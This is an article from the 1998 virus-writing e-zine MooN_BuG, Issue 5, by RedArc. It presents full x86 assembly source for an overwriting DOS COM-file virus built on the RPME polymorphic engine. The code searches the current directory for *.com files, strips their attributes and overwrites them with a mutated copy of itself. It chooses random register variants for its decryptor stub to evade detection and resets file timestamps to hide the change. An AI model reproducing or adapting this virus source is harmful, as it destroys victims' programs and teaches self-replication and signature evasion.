[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 00e

                          Пример использования RPME
                                                        by RedArc

А чего здесь говорить? Смотрите: нерезидентный COM-overwrite вирус, поиск
в текущем каталоге. Там вроде бы все понятно ;)

=== Cut ===

;RPME.Trivial (c) by RedArc // TAVC

Model Tiny
.code
.286
jumps
org 100h
start:
     jmp VirBeg
include rnd.inc
include rpme.inc
VirBeg:
     mov si,100h-1
     mov di,100h+Buff
     mov cx,MyLength
     call RPME
     mov word ptr cs:[BuffLength+100h],cx
     mov ah,4eh
     mov cx,0ffh
     mov dx,MASK_offs+100h
Interrupt:
     int 21h
     jb NotFound
     jmp Infect
NotFound:
     int 20h
Infect:
     mov dx,9eh
     mov ax,4301h
     xor cx,cx
     int 21h
     mov dx,9eh
     mov ax,3d02h
     int 21h
     xchg ax,bx
     mov ah,40h
     mov dx,Buff+100h
     mov cx,word ptr cs:[BuffLength+100h]
     int 21h
;----------
     push bx
     cld
     mov bx,5
     call RND
     xchg ax,dx
     mov dl,2
     mul dl
     xchg ax,dx
     mov di,NIP_Table1+100h
     add di,dx
     mov si,word ptr ds:[di]
     add si,100h
     mov di,PIP1
     add di,100h
     mov cx,PIPS_1_Length
     rep movsb
;----------
     mov bx,5
     call RND
     xchg ax,dx
     mov dl,2
     mul dl
     xchg ax,dx
     mov di,NIP_Table2+100h
     add di,dx
     mov si,word ptr ds:[di]
     add si,100h
     mov di,PIP2
     add di,100h
     mov cx,PIPS_2_Length
     rep movsb
;----------
     mov bx,5
     call RND
     xchg ax,dx
     mov dl,2
     mul dl
     xchg ax,dx
     mov di,NIP_Table3+100h
     add di,dx
     mov si,word ptr ds:[di]
     add si,100h
     mov di,PIP3
     add di,100h
     mov cx,PIPS_3_Length
     rep movsb
     pop bx
;----------
     mov ah,40h
     mov dx,NewIp+100h
     mov cx,NIPLength
     int 21h
     mov ax,5701h
     mov cx,word ptr cs:[96h]
     mov dx,word ptr cs:[98h]
     int 21h
     mov ah,3eh
     int 21h
     mov ax,4301h
     mov cx,word ptr cs:[95h]
     int 21h
     mov ah,4fh
     jmp Interrupt
NewIp equ $-start
NIP:
     std

PIP1 equ $-start
     mov cx, 100h+MyLength-1
     push cx

PIP2 equ $-start
     mov di, MyLength / 2 + 1
     push di

     pop cx
     pop di
LP1:
     pop ax
     stosw
     loop LP1

PIP3 equ $-start
     mov di,100h
     push di

     ret

NIPLength equ $-NIP

NIP_Table1 equ $-start
 dw PIPS_1, PIPS_1_1, PIPS_1_2, PIPS_1_3, PIPS_1_4, PIPS_1_5
NIP_Table2 equ $-start
 dw PIPS_2, PIPS_2_1, PIPS_2_2, PIPS_2_3, PIPS_2_4, PIPS_2_5
NIP_Table3 equ $-start
 dw PIPS_3, PIPS_3_1, PIPS_3_2, PIPS_3_3, PIPS_3_4, PIPS_3_5


MASK_offs equ $-start
db '*.com',0h
PIPS_1 equ $-start
PIPS_1_:
     mov ax, 100h+MyLength-1
     push ax
PIPS_1_Length equ $-PIPS_1_
PIPS_1_1 equ $-start
     mov bx, 100h+MyLength-1
     push bx
PIPS_1_2 equ $-start
     mov cx, 100h+MyLength-1
     push cx
PIPS_1_3 equ $-start
     mov dx, 100h+MyLength-1
     push dx
PIPS_1_4 equ $-start
     mov si, 100h+MyLength-1
     push si
PIPS_1_5 equ $-start
     mov di, 100h+MyLength-1
     push di

PIPS_2 equ $-start
PIPS_2_:
     mov ax, MyLength / 2 + 1
     push ax
PIPS_2_Length equ $-PIPS_2_
PIPS_2_1 equ $-start
     mov bx, MyLength / 2 + 1
     push bx
PIPS_2_2 equ $-start
     mov cx, MyLength / 2 + 1
     push cx
PIPS_2_3 equ $-start
     mov dx, MyLength / 2 + 1
     push dx
PIPS_2_4 equ $-start
     mov si, MyLength / 2 + 1
     push si
PIPS_2_5 equ $-start
     mov di, MyLength / 2 + 1
     push di

PIPS_3 equ $-start
PIPS_3_:
     mov ax,100h
     push ax
PIPS_3_Length equ $-PIPS_3_
PIPS_3_1 equ $-start
     mov bx,100h
     push bx
PIPS_3_2 equ $-start
     mov cx,100h
     push cx
PIPS_3_3 equ $-start
     mov dx,100h
     push dx
PIPS_3_4 equ $-start
     mov si,100h
     push si
PIPS_3_5 equ $-start
     mov di,100h
     push di

MyLength equ $-start
BuffLength equ $-start
     dw ?
Buff equ $-start
end start
=== Cut ===